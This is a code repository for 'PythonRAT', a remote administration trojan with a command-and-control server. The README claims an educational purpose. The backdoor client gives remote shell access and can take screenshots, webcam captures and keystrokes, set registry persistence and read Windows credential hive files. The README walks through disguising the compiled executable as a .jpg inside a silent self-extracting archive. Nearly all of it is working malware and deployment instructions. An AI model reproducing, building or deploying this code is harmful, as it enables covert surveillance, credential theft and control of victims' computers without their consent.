├── .gitignore
├── LICENSE
├── README.md
├── client
├── backdoor.py
├── keylogger.py
└── requirements.txt
├── server
├── c2.py
└── colour.py
└── sfx-resources
├── gibraltar.jpg
├── gibraltar128x128.ico
└── malware128x128.ico
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | .DS_Store
3 | CHANGELOG.md
4 | client/__pycache__/*
5 | server/__pycache__/*
6 | server/certs
7 | images/*
8 | screenshots
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Zepher Ashe
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PythonRAT
2 |
3 | PythonRAT is a Command and Control (C2) server which can control multiple machines running the Remote Administration Trojan (RAT) forming a botnet cluster which was written in Python3.
4 |
5 | PythonRAT was developed for **educational** purposes and continues to be developed as such!
6 |
7 |
8 |
9 |
10 |
11 |
12 | # Features
13 |
14 | - Integrated keylogger written as a class
15 | - Can be started and stopped remotely
16 | - With options to _dump_ or _overwrite_ the log file
17 | - Check privilege level (Administrator/User)
18 | - Spawn other programs
19 | - Download files from target
20 | - Download files from specified URL
21 | - Upload files to target
22 | - C2 allows control of multiple target sessions
23 | - Issue a _sendall *command*_ to every active session
24 | - Persistence by creating a registry entry (Windows)
25 | - Conceals infection by writing files in AppData (Windows)
26 |
27 | - Screenshot of the target's screen which is sent to server
28 | - Webcam capture
29 | - Remote shutdown of the backdoor _(executable is NOT safely removed)_
30 |
31 |
32 | # Table of Contents
33 | - [Usage Manuals](#usage-manuals)
34 | - [C2 Manual](#c2-manual)
35 | - [Session Manual](#session-manual)
36 | - [Dependencies](#dependencies)
37 | - [Wine and Pyinstaller (Win version) Installation on Linux](#wine-and-pyinstaller-win-version-installation-on-linux)
38 | - [Environment Setup](#environment-setup)
39 | - [Installing Dependencies](#installing-dependencies)
40 | - [Backdoor Compilation and Obfuscation for Windows](#backdoor-compilation-and-obfuscation-for-windows)
41 | - [Compile to Executable using Pyinstaller Linux](#compile-to-executable-using-pyinstaller-linux)
42 | - [Compile to Executable using Pyinstaller (Win) under Wine](#compile-to-executable-using-pyinstaller-win-under-wine)
43 | - [Obfuscation using SFX Archive (Theory)](#obfuscation-using-sfx-archive-theory)
44 | - [Creating SFX Archive](#creating-sfx-archive)
45 | - [Creating SFX Archive - Visual](#creating-sfx-archive---visual)
46 | - [Task Manager](#task-manager)
47 | - [Preview Images](#preview-images)
48 | - [Target Connection to C2 Server](#target-connection-to-c2-server)
49 | - [Interacting with Session](#interacting-with-session)
50 | - [Test Commands on Target](#test-commands-on-target)
51 | - [Session Options](#session-options)
52 | - [Backgrounding and Killing Session](#backgrounding-and-killing-session)
53 |
54 | # Usage Manuals
55 | ## C2 Manual
56 |
57 | targets --> Prints Active Sessions
58 | session *session num* --> Will Connect To Session (background to return)
59 | clear --> Clear Terminal Screen
60 | exit --> Quit ALL Active Sessions and Closes C2 Server!!
61 | kill *session num* --> Issue 'quit' To Specified Target Session
62 | sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad)
63 |
64 |
65 |
66 | ## Session Manual
67 |
68 | quit --> Quit Session With The Target
69 | clear --> Clear The Screen
70 | background / bg --> Send Session With Target To Background
71 | cd *Directory name* --> Changes Directory On Target System
72 | upload *file name* --> Upload File To The Target Machine From Working Dir
73 | download *file name* --> Download File From Target Machine
74 | get *url* --> Download File From Specified URL to Target ./
75 | keylog_start --> Start The Keylogger
76 | keylog_dump --> Print Keystrokes That The Target From taskmanager.txt
77 | keylog_stop --> Stop And Self Destruct Keylogger File
78 | screenshot --> Takes screenshot and sends to server ./images/screenshots/
79 | webcam --> Takes image with webcam and sends to ./images/webcam/
80 | start *programName* --> Spawn Program Using backdoor e.g. 'start notepad'
81 | remove_backdoor --> Removes backdoor from target!!!
82 |
83 | ===Windows Only===
84 | persistence *RegName* *filename* --> Create Persistence In Registry
85 | copies backdoor to ~/AppData/Roaming/filename
86 | example: persistence Backdoor windows32.exe
87 | check --> Check If Has Administrator Privileges
88 |
89 | # Dependencies
90 |
91 | The C2 server has no _external dependencies_ as of _v0.9.2-alpha_.
92 |
93 | The backdoor relies on the following as of v0.10.1-alpha:
94 |
95 | pip install mss \
96 | pynput \
97 | requests
98 |
99 | - **MSS** is required for the `screenshot()` function.
100 | - **Pynput** is required for the `Keylogger` class.
101 | - **Requests** is required for the `download_url()` function.
102 |
103 |
104 | The below mentioned steps are for compiling the backdoor for deployment.
105 | For those wishing to test the C2 server and backdoor interaction see [issue 1](https://github.com/safesploit/PythonRAT/issues/1#issuecomment-1210378473).
106 |
107 | # Wine and Pyinstaller (Win version) Installation on Linux
108 |
109 |
110 | Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/
111 |
112 | ## Environment Setup
113 |
114 | ┌──(root💀kali)-[~/]
115 |
116 | └─#
117 |
118 | sudo su
119 | dpkg --add-architecture i386
120 | apt update
121 | apt install wine32
122 | wget https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi
123 | sudo wine msiexec -i ~/python-2.7.14.msi #x86 arch
124 |
125 |
126 | ## Installing Dependencies
127 |
128 | ┌──(root💀kali)-[~]
129 |
130 | └─#
131 |
132 | cd /root/.wine/drive_c/Python27
133 | wine python.exe -m pip install pyinstaller \
134 | requests \
135 | mss \
136 | pynput
137 |
138 |
139 | # Backdoor Compilation and Obfuscation for Windows
140 |
141 | ## Compile to Executable using Pyinstaller Linux
142 |
143 | $ pyinstaller --onefile --noconsole backdoor.py
144 |
145 | or,
146 |
147 | ## Compile to Executable using Pyinstaller (Win) under Wine
148 |
149 | ┌──(root💀kali)-[~]
150 |
151 | └─#
152 |
153 | wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole ~/backdoor.py
154 |
155 | **alternatively** if an _icon_ has already been created,
156 |
157 | wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --icon ~/malware_128x128.ico ~/backdoor.py
158 |
159 | This will produce _./dist/backdoor.exe_
160 |
161 |
162 | ## Obfuscation using SFX Archive (Theory)
163 |
164 | The executable _backdoor.exe_ will be made to look like an image (jpg) file.
165 | By default, Windows does not show file extensions (e.g. backdoor.exe will show in Windows Explorer as backdoor).
166 | Hence, we will create an SFX archive name _wallpaper.jpg.exe_ which Windows Explorer will show as _wallpaper.jpg_.
167 |
168 | This will involve having an _image_ which we will also create an icon version of _.ico_ to assign the SFX archive.
169 | Making the executable appear to be an image.
170 |
171 | Of course, this same method could be applied to audio, document or video file using an appropriate icon.
172 |
173 | ### NOTE: SFX Archive
174 |
175 | SFX archive is not the only method of obfuscating the executable.
176 | We can when compiling using _Pyinstaller_ add the argument _--add-data "/root/wallpaper.jpg;."_ with
177 | _--icon ~/wallpaper.ico_.
178 |
179 | ┌──(root💀kali)-[~]
180 |
181 | └─#
182 |
183 | wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --add-data "/root/wallpaper.jpg;." --icon ~/malware_128x128.ico ~/backdoor.py
184 | mv ./dist/_backdoor.exe_ ./dist/_wallpaper.jpg.exe_
185 |
186 |
187 | ## Creating SFX Archive
188 |
189 | WinRAR > Add To Archive (image.jpg and backdoor.exe)
190 |
191 | Rename archive to: _image.jpg.exe_
192 |
193 |
194 | -Add to SFX Archive (Y) and Advanced>
195 |
196 | **Setup>Run after extraction**
197 |
198 | California-HD-Background.jpg
199 | backdoor.exe
200 |
201 | **Modes**
202 | Unpack to temporary folder
203 | Silent mode
204 | Hide all
205 |
206 | **Update**
207 | Update mode>
208 | Extract and update files
209 | Overwrite mode>
210 | Overwrite all files
211 |
212 | **Text and icon**
213 | Load SFX icon from the file (image ICO)
214 |
215 |
216 |
217 | ## Creating SFX Archive - Visual
218 |
219 | https://user-images.githubusercontent.com/10171446/153578069-851d3896-67d0-465b-ad92-267ad21504ee.mp4
220 |
221 |
222 | This will produce an SFX archive which looks like an image
223 |
224 | While inspecting the file will reveal it is an executable the file extension _.exe_ is concealed.
225 | Furthermore, if viewed from the Desktop the file cannot be differentiated from a 'real' image.
226 |
227 | 
228 |
229 |
230 |
231 | Once opened the SFX archive will open the image file inside the archive and the malware will execute after.
232 |
233 | Due to _--noconsole_ argument in _Pyinstaller_, no window will be rendered.
234 |
235 |
236 | ## Task Manager
237 |
238 | The _backdoor.exe_ process can be seen in Task Manager and ended there if necessary.
239 |
240 | # Preview Images
241 |
242 | ## Target Connection to C2 Server
243 |
244 | 
245 |
246 |
247 | ## Interacting with Session
248 |
249 | 
250 |
251 |
252 | ## Test Commands on Target
253 |
254 | 
255 |
256 |
257 | ## Session Options
258 |
259 | 
260 |
261 |
262 | ## Backgrounding and Killing Session
263 |
264 | 
265 |
266 |
--------------------------------------------------------------------------------
/client/backdoor.py:
--------------------------------------------------------------------------------
1 | # Standard library imports
2 | import ctypes
3 | import cv2
4 | import json
5 | import os
6 | import shutil
7 | import socket
8 | import ssl
9 | import subprocess
10 | import sys
11 | import threading
12 | import time
13 | from sys import platform
14 |
15 | # Related third party imports
16 | import requests
17 | from mss import mss
18 |
19 | # Local application/library specific imports
20 | import keylogger
21 | # from mss import mss # mss v6.1.0
22 | # import requests # v2.28.0
23 |
24 |
25 | def reliable_send(data):
26 | jsondata = json.dumps(data)
27 | s.send(jsondata.encode())
28 |
29 |
30 | def reliable_recv():
31 | data = ''
32 | while True:
33 | try:
34 | data = data + s.recv(1024).decode().rstrip()
35 | return json.loads(data)
36 | except ValueError:
37 | continue
38 |
39 |
40 | def download_file(file_name):
41 | f = open(file_name, 'wb')
42 | s.settimeout(2)
43 | chunk = s.recv(1024)
44 | while chunk:
45 | f.write(chunk)
46 | try:
47 | chunk = s.recv(1024)
48 | except socket.timeout as e:
49 | break
50 | s.settimeout(None)
51 | f.close()
52 |
53 |
54 | def upload_file(file_name):
55 | f = open(file_name, 'rb')
56 | s.send(f.read())
57 | f.close()
58 |
59 |
60 | def download_url(url):
61 | get_response = requests.get(url)
62 | file_name = url.split('/')[-1]
63 | with open(file_name, 'wb') as out_file:
64 | out_file.write(get_response.content)
65 |
66 |
67 | def screenshot():
68 | if platform == "win32" or platform == "darwin":
69 | with mss() as screen:
70 | filename = screen.shot()
71 | os.rename(filename, '.screen.png')
72 | elif platform == "linux" or platform == "linux2":
73 | with mss(display=":0.0") as screen:
74 | filename = screen.shot()
75 | os.rename(filename, '.screen.png')
76 |
77 | # TODO: screenshot other monitors
78 |
79 |
80 | # TODO: SAM - this code is untested
81 | def get_sam_dump():
82 | if not is_admin():
83 | return "You must run this function as an Administrator."
84 |
85 | SAM = r'C:\Windows\System32\config\SAM'
86 | SYSTEM = r'C:\Windows\System32\config\SYSTEM'
87 | SECURITY = r'C:\Windows\System32\config\SECURITY'
88 |
89 | try:
90 | sam_file = open(SAM, 'rb')
91 | system_file = open(SYSTEM, 'rb')
92 | security_file = open(SECURITY, 'rb')
93 |
94 | sam_data = sam_file.read()
95 | system_data = system_file.read()
96 | security_data = security_file.read()
97 |
98 | sam_file.close()
99 | system_file.close()
100 | security_file.close()
101 |
102 | return sam_data, system_data, security_data
103 | except PermissionError:
104 | return "Insufficient permissions to access SAM, SYSTEM, or SECURITY files."
105 | except FileNotFoundError:
106 | return "SAM, SYSTEM, or SECURITY file not found. Please check the file paths."
107 | except Exception as e:
108 | return f"An unexpected error occurred: {str(e)}"
109 |
110 |
111 |
112 | def capture_webcam():
113 | webcam = cv2.VideoCapture(0)
114 | webcam.set(cv2.CAP_PROP_EXPOSURE, 40)
115 |
116 | # Check if the webcam is available
117 | if not webcam.isOpened():
118 | print("No webcam available")
119 | return
120 |
121 | ret, frame = webcam.read()
122 |
123 | # Check if the webcam was able to capture a frame
124 | if not ret:
125 | print("Failed to read frame from webcam")
126 | return
127 |
128 | webcam.release()
129 |
130 | # Save the frame to a file
131 | if platform == "win32" or platform == "darwin" or platform == "linux" or platform == "linux2":
132 | is_success, im_buf_arr = cv2.imencode(".webcam.png", frame)
133 | if is_success:
134 | with open('.webcam.png', 'wb') as f:
135 | f.write(im_buf_arr.tobytes())
136 | else:
137 | print("Failed to save webcam image")
138 |
139 |
140 | # TODO rename from persist to `reg_persist`
141 | def persist(reg_name, copy_name):
142 | file_location = os.environ['appdata'] + '\\' + copy_name
143 | try:
144 | if not os.path.exists(file_location):
145 | shutil.copyfile(sys.executable, file_location)
146 | subprocess.call(
147 | 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"',
148 | shell=True)
149 | reliable_send('[+] Created Persistence With Reg Key: ' + reg_name)
150 | else:
151 | reliable_send('[+] Persistence Already Exists')
152 | except:
153 | reliable_send('[-] Error Creating Persistence With The Target Machine')
154 |
155 |
156 | def startup_persist(file_name):
157 | pass
158 | # TODO create persistence in startup folder
159 |
160 |
161 | def is_admin():
162 | global admin
163 | if platform == 'win32':
164 | try:
165 | temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp']))
166 | except:
167 | admin = '[!!] User Privileges!'
168 | else:
169 | admin = '[+] Administrator Privileges!'
170 | elif platform == "linux" or platform == "linux2" or platform == "darwin":
171 | pass
172 | # TODO implmenet checking if these platforms have root/admin access
173 |
174 |
175 | # TODO: more elegant but relibles on an additional library
176 | # def is_admin():
177 | # try:
178 | # return ctypes.windll.shell32.IsUserAnAdmin()
179 | # except:
180 | # return False
181 |
182 |
183 | # def is_admin():
184 | # global admin
185 | # if platform == 'win32':
186 | # try:
187 | # temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp']))
188 | # except:
189 | # admin = False
190 | # else:
191 | # admin = True
192 | # elif platform == "linux" or platform == "linux2" or platform == "darwin":
193 | # os.open('/etc/hosts', os.O_RDONLY)
194 | # admin = True
195 | # # TODO implmenet checking if these platforms have root/admin access
196 | # return admin
197 |
198 |
199 | # def admin_string(is_admin):
200 | # if(is_admin):
201 | # return '[+] Administrator Privileges!'
202 | # else:
203 | # return '[!!] User Privileges!'
204 |
205 |
206 | # TODO get_chrome_passwords()
207 |
208 | # TODO get_chrome_cookies()
209 |
210 | # TODO encrypt_user_dir() ransomware element
211 | # TODO def encrypt_file_in_dir(file_name, key)
212 | # TODO def gen_key()
213 | # TODO def send_key(file_name, key)
214 |
215 | def shell():
216 | while True:
217 | command = reliable_recv()
218 | if command == 'quit':
219 | break
220 | elif command == 'background' or command == 'bg': # BEGIN
221 | pass
222 | elif command == 'help': # ideally to be removed
223 | pass
224 | elif command == 'clear':
225 | pass # END
226 | elif command[:3] == 'cd ':
227 | os.chdir(command[3:])
228 | # try:
229 | # os.chdir(command[3:])
230 | # reliable_send('[+] Changed working dir to ' + os.getcwd())
231 | # except Exception as e:
232 | # reliable_send('[-] ' + str(e))
233 | elif command[:6] == 'upload':
234 | download_file(command[7:])
235 | elif command[:8] == 'download':
236 | upload_file(command[9:])
237 | elif command[:3] == 'get':
238 | try:
239 | download_url(command[4:])
240 | reliable_send('[+] Downloaded File From Specified URL!')
241 | except:
242 | reliable_send('[!!] Download Failed!')
243 | elif command[:10] == 'screenshot':
244 | screenshot()
245 | upload_file('.screen.png')
246 | os.remove('.screen.png')
247 | elif command[:6] == 'webcam':
248 | capture_webcam()
249 | upload_file('.webcam.png')
250 | os.remove('.webcam.png')
251 | elif command[:12] == 'keylog_start':
252 | keylog = keylogger.Keylogger()
253 | t = threading.Thread(target=keylog.start)
254 | t.start()
255 | reliable_send('[+] Keylogger Started!')
256 | elif command[:11] == 'keylog_dump':
257 | logs = keylog.read_logs()
258 | reliable_send(logs)
259 | elif command[:11] == 'keylog_stop':
260 | keylog.self_destruct()
261 | t.join()
262 | reliable_send('[+] Keylogger Stopped!')
263 | elif command[:11] == 'persistence':
264 | reg_name, copy_name = command[12:].split(' ')
265 | persist(reg_name, copy_name)
266 | elif command[:7] == 'sendall':
267 | subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
268 | stdin=subprocess.PIPE)
269 | elif command[:5] == 'check':
270 | try:
271 | is_admin()
272 | reliable_send(admin + ' platform: ' + platform)
273 | except:
274 | reliable_send('Cannot Perform Privilege Check! Platform: ' + platform)
275 | elif command[:5] == 'start':
276 | try:
277 | subprocess.Popen(command[6:], shell=True)
278 | reliable_send('[+] Started!')
279 | except:
280 | reliable_send('[-] Failed to start!')
281 | # TODO: This code is untested!
282 | elif command[:12] == 'get_sam_dump':
283 | sam_dump, system_dump, security_dump = get_sam_dump()
284 | reliable_send((sam_dump, system_dump, security_dump))
285 | else:
286 | execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
287 | stdin=subprocess.PIPE)
288 | result = execute.stdout.read() + execute.stderr.read()
289 | result = result.decode()
290 | reliable_send(result)
291 |
292 |
293 | def connection():
294 | while True:
295 | time.sleep(1)
296 | try:
297 | s.connect(('127.0.0.1', 5555))
298 | # if platform == 'win32': #TO BE DONE
299 | # persist('Backdoor', 'windows32.exe')
300 | shell()
301 | s.close()
302 | break
303 | except:
304 | connection()
305 |
306 |
307 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
308 | connection()
309 |
--------------------------------------------------------------------------------
/client/keylogger.py:
--------------------------------------------------------------------------------
1 | #Possibly requires Python3.7
2 | import os
3 | import time
4 | import threading
5 | from sys import platform
6 |
7 | # External dependencies
8 | from pynput.keyboard import Listener
9 |
10 | # Local dependencies
11 | # from pynput.keyboard import Listener #v1.7.6
12 |
13 | class Keylogger():
14 | keys = []
15 | count = 0
16 | flag = 0
17 | if platform == 'win32':
18 | path = os.environ['appdata'] +'\\processmanager.txt'
19 | #Windows path #cmd.exe> type AppData\Roaming\processmanager.txt
20 | #(Windows also supports >more command)
21 | elif platform == "linux" or platform == "linux2" or platform == "darwin":
22 | path = 'processmanager.txt'
23 |
24 | def on_press(self, key):
25 | self.keys.append(key)
26 | self.count += 1
27 |
28 | if self.count >= 1:
29 | self.count = 0
30 | self.write_file(self.keys)
31 | self.keys = []
32 |
33 | def read_logs(self):
34 | with open(self.path, 'rt') as f:
35 | return f.read()
36 |
37 | # def write_file(self, keys):
38 | # with open(self.path, 'a') as f:
39 | # for key in keys:
40 | # k = str(key).replace("'", "")
41 | # if k.find('backspace') > 0:
42 | # f.write(' [BACKSPACE] ')
43 | # elif k.find('enter') > 0:
44 | # f.write('\n')
45 | # # elif k.find('control') > 0: #doesn't currently work
46 | # # f.write(' [CTRL] ')
47 | # elif k.find('shift') > 0:
48 | # f.write(' [SHIFT] ')
49 | # elif k.find('space') > 0:
50 | # f.write(' ')
51 | # elif k.find('caps_lock') > 0:
52 | # f.write(' [CAPS_LOCK] ')
53 | # elif k.find('Key'):
54 | # f.write(k)
55 | def write_file(self, keys):
56 | with open(self.path, 'a') as f:
57 | for key in keys:
58 | k = str(key).replace("'", "")
59 | if k.find('backspace') > 0:
60 | f.write(' [BACKSPACE] ')
61 | elif k.find('enter') > 0:
62 | f.write('\n')
63 | elif k.find('shift') > 0:
64 | f.write(' [SHIFT] ')
65 | elif k.find('space') > 0:
66 | f.write(' ')
67 | elif k.find('caps_lock') > 0:
68 | f.write(' [CAPS_LOCK] ')
69 | elif k.find('ctrl') > 0:
70 | f.write(' [CTRL] ')
71 | elif k.find('alt') > 0:
72 | f.write(' [ALT] ')
73 | elif k.find('tab') > 0:
74 | f.write(' [TAB] ')
75 | elif k.find('left') > 0:
76 | f.write(' [LEFT_ARROW] ')
77 | elif k.find('right') > 0:
78 | f.write(' [RIGHT_ARROW] ')
79 | elif k.find('up') > 0:
80 | f.write(' [UP_ARROW] ')
81 | elif k.find('down') > 0:
82 | f.write(' [DOWN_ARROW] ')
83 | elif k.find('Key'):
84 | f.write(' [OTHER_KEY: ' + k + '] ')
85 | else:
86 | f.write(k)
87 |
88 |
89 | def self_destruct(self):
90 | self.flag = 1
91 | listener.stop()
92 | #self.overwrite_file(self.path)
93 | os.remove(self.path)
94 |
95 | def overwrite_file(self):
96 | print('keylog file path: ' + self.path) #to test this is calling correctly
97 | with open(self.path, 'w') as f:
98 | f.write('\n')
99 | #This section should overwrite the keylog file
100 |
101 | def start(self):
102 | global listener
103 | with Listener(on_press=self.on_press) as listener:
104 | listener.join()
105 |
106 | if __name__ == '__main__':
107 | keylog = Keylogger()
108 | t = threading.Thread(target=keylog.start)
109 | t.start()
110 | while keylog.flag != 1:
111 | time.sleep(10)
112 | logs = keylog.read_logs()
113 | print(logs)
114 | #keylog.self_destruct()
115 | t.join()
116 |
--------------------------------------------------------------------------------
/client/requirements.txt:
--------------------------------------------------------------------------------
1 | # Generated using Pipreqs
2 | # https://pypi.org/project/pipreqs/
3 |
4 | # pip install pipreqs
5 | # pipreqs /path/to/project
6 |
7 | opencv-python==1.25.1
8 | PyAutoGUI==0.9.53
9 | pynput==1.7.6
10 | requests==2.28.0
11 |
--------------------------------------------------------------------------------
/server/c2.py:
--------------------------------------------------------------------------------
1 | # Standard library imports
2 | import json
3 | import hashlib
4 | import os
5 | import socket
6 | import ssl
7 | import sys
8 | import time
9 | import threading
10 |
11 | # Local application/library specific imports
12 | from colour import banner, Colour
13 |
14 | # Global Variables
15 | global start_flag
16 |
17 | # Constants
18 | SCREENSHOT_DIR = 'images/screenshots'
19 | SCREENSHOT_CHUNK_SIZE = 10485760 # 10MB
20 | SCREENSHOT_TIMEOUT = 3
21 |
22 | WEBCAM_DIR = './images/webcam'
23 | WEBCAM_CHUNK_SIZE = 10485760 # 10MB
24 | WEBCAM_TIMEOUT = 10
25 |
26 |
27 | def reliable_recv(target):
28 | data = ''
29 | while True:
30 | try:
31 | data += target.recv(1024).decode().rstrip()
32 | return json.loads(data)
33 | except ValueError:
34 | # If received data is not a complete JSON, continue receiving.
35 | continue
36 | except socket.error as e:
37 | print(f"Socket error: {e}")
38 | return None
39 | except Exception as e:
40 | # Handle any other exceptions that may occur.
41 | print(f"Unexpected error: {e}")
42 | return None
43 |
44 |
45 | def reliable_send(target, data):
46 | jsondata = json.dumps(data)
47 | while True:
48 | try:
49 | target.send(jsondata.encode())
50 | break
51 | except BrokenPipeError:
52 | # print("Connection to target lost.")
53 | break
54 | except Exception as e:
55 | print(f"An unexpected error occurred: {e}")
56 | break
57 |
58 |
59 | # This function is to stop server.py issuing reliable_send if command='help' or 'clear'
60 | # Creates less network traffic.
61 | def exclusion_words(command):
62 | exclusion_words = ['help', 'clear'] # consider making this a global constant
63 | return any(word in command for word in exclusion_words)
64 |
65 |
66 | def upload_file(target, file_name):
67 | try:
68 | f = open(file_name, 'rb')
69 | data = f.read()
70 | f.close()
71 | except FileNotFoundError:
72 | print(f"The file {file_name} does not exist.")
73 | return
74 | except IOError as e:
75 | print(f"Error reading from {file_name}: {e}")
76 | return
77 |
78 | try:
79 | target.send(data)
80 | except socket.error as e:
81 | print(f"Error sending data: {e}")
82 | return
83 |
84 | print(f"File {file_name} uploaded successfully.")
85 |
86 |
87 | def download_file(target, file_name):
88 | try:
89 | f = open(file_name, 'wb')
90 | except IOError as e:
91 | print(f"Error opening file {file_name} for writing: {e}")
92 | return
93 |
94 | target.settimeout(2)
95 | chunk = None
96 |
97 | try:
98 | while True:
99 | try:
100 | if chunk is not None:
101 | f.write(chunk)
102 | chunk = target.recv(1024)
103 | except socket.timeout:
104 | break # Exit the loop if a timeout occurs
105 | except socket.error as e:
106 | print(f"Error receiving data: {e}")
107 | finally:
108 | f.close()
109 |
110 | target.settimeout(None)
111 |
112 | print(f"File {file_name} downloaded successfully.")
113 |
114 |
115 | def validate_checksum(checksum1, checksum2):
116 | if checksum1 == checksum2:
117 | return True
118 | else:
119 | return False
120 |
121 |
122 | def calculate_sha256_checksum(file_name):
123 | """
124 | Calculate the SHA-256 checksum of a file.
125 | Args:
126 | file_name (str): The name of the file to check.
127 | Returns:
128 | str: The SHA-256 checksum of the file.
129 | """
130 | sha256_hash = hashlib.sha256()
131 | with open(file_name,"rb") as f:
132 | for byte_block in iter(lambda: f.read(4096),b""):
133 | sha256_hash.update(byte_block)
134 | return sha256_hash.hexdigest()
135 |
136 |
137 | def calculate_md5_checksum(file_name):
138 | """
139 | Calculate the MD5 checksum of a file.
140 | Args:
141 | file_name (str): The name of the file to check.
142 | Returns:
143 | str: The MD5 checksum of the file.
144 | """
145 | md5_hash = hashlib.md5()
146 | with open(file_name,"rb") as f:
147 | for byte_block in iter(lambda: f.read(4096),b""):
148 | md5_hash.update(byte_block)
149 | return md5_hash.hexdigest()
150 |
151 |
152 | # TODO: Write a function for checksum validation on client-side.
153 |
154 |
155 | def screenshot(target, count):
156 | """
157 | Take a screenshot and save it to a file.
158 | Args:
159 | target (socket): The target socket to instruct.
160 | count (int): The current screenshot count.
161 | """
162 | # Ensure the screenshots directory exists.
163 | os.makedirs(SCREENSHOT_DIR, exist_ok=True)
164 |
165 | file_name = f'{SCREENSHOT_DIR}/screenshot_{count}.png'
166 | try:
167 | f = open(file_name, 'wb')
168 | except IOError as e:
169 | print(f"Error opening file {file_name} for writing: {e}")
170 | return count
171 |
172 | # Receive the screenshot data.
173 | target.settimeout(SCREENSHOT_TIMEOUT)
174 | chunk = None
175 | try:
176 | while True:
177 | try:
178 | if chunk is not None:
179 | f.write(chunk)
180 | chunk = target.recv(SCREENSHOT_CHUNK_SIZE)
181 | except socket.timeout:
182 | break # Exit the loop if a timeout occurs
183 | except socket.error as e:
184 | print(f"Error receiving data: {e}")
185 | finally:
186 | f.close()
187 |
188 | target.settimeout(None)
189 | print(f"Screenshot saved to {file_name}")
190 |
191 | count += 1
192 | return count
193 |
194 |
195 | def webcam(target, count):
196 | """
197 | Capture a webcam image and save it to a file.
198 | Args:
199 | target (socket): The target socket to instruct.
200 | count (int): The current image count.
201 | """
202 | # Ensure the webcam images directory exists.
203 | os.makedirs(WEBCAM_DIR, exist_ok=True)
204 |
205 | # Open the file for writing.
206 | file_name = f'{WEBCAM_DIR}/webcam_pic_{count}.jpg'
207 | try:
208 | f = open(file_name, 'wb')
209 | except IOError as e:
210 | print(f"Error opening file {file_name} for writing: {e}")
211 | return count
212 |
213 | # Receive the image data.
214 | target.settimeout(WEBCAM_TIMEOUT)
215 | chunk = None
216 | try:
217 | while True:
218 | try:
219 | if chunk is not None:
220 | f.write(chunk)
221 | chunk = target.recv(WEBCAM_CHUNK_SIZE)
222 | except socket.timeout:
223 | break # Exit the loop if a timeout occurs
224 | except socket.error as e:
225 | print(f"Error receiving data: {e}")
226 | finally:
227 | f.close()
228 |
229 | target.settimeout(None)
230 | print(f"Webcam image saved to {file_name}")
231 |
232 | return count + 1
233 |
234 | # TODO: webcam(target) takes a quick webcam image
235 | # https://stackoverflow.com/a/69282582/4443012
236 |
237 | # TODO: encrypt()
238 | # TODO: decrypt() functions using RSA library AES128-GCM
239 |
240 | # TODO: use Flask to create a frontend UI in the web browser to manage C2 https://github.com/Tomiwa-Ot/moukthar
241 |
242 |
243 | def server_help_manual():
244 | print('''\n
245 | quit --> Quit Session With The Target
246 | clear --> Clear The Screen
247 | background / bg --> Send Session With Target To Background
248 | cd *Directory name* --> Changes Directory On Target System
249 | upload *file name* --> Upload File To The Target Machine From Working Dir
250 | download *file name* --> Download File From Target Machine
251 | get *url* --> Download File From Specified URL to Target ./
252 | keylog_start --> Start The Keylogger
253 | keylog_dump --> Print Keystrokes That The Target From taskmanager.txt
254 | keylog_stop --> Stop And Self Destruct Keylogger File
255 | screenshot --> Takes screenshot and sends to server ./images/screenshots/
256 | webcam --> Takes image with webcam and sends to ./images/webcam/
257 | start *programName* --> Spawn Program Using backdoor e.g. 'start notepad'
258 | remove_backdoor --> Removes backdoor from target!!!
259 |
260 | ===Windows Only===
261 | persistence *RegName* *filename* --> Create Persistence In Registry
262 | copies backdoor to ~/AppData/Roaming/filename
263 | example: persistence Backdoor windows32.exe
264 | check --> Check If Has Administrator Privileges
265 |
266 |
267 | \n''')
268 |
269 |
270 | def c2_help_manual():
271 | print('''\n
272 | ===Command and Control (C2) Manual===
273 |
274 | targets --> Prints Active Sessions
275 | session *session num* --> Will Connect To Session (background to return)
276 | clear --> Clear Terminal Screen
277 | exit --> Quit ALL Active Sessions and Closes C2 Server!!
278 | kill *session num* --> Issue 'quit' To Specified Target Session
279 | sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad)
280 | \n''')
281 |
282 |
283 |
284 |
285 |
286 | def accept_connections():
287 | while True:
288 | if start_flag == False:
289 | break
290 | sock.settimeout(1)
291 | try:
292 | target, ip = sock.accept()
293 | targets.append(target)
294 | ips.append(ip)
295 | # print(termcolor.colored(str(ip) + ' has connected!', 'green'))
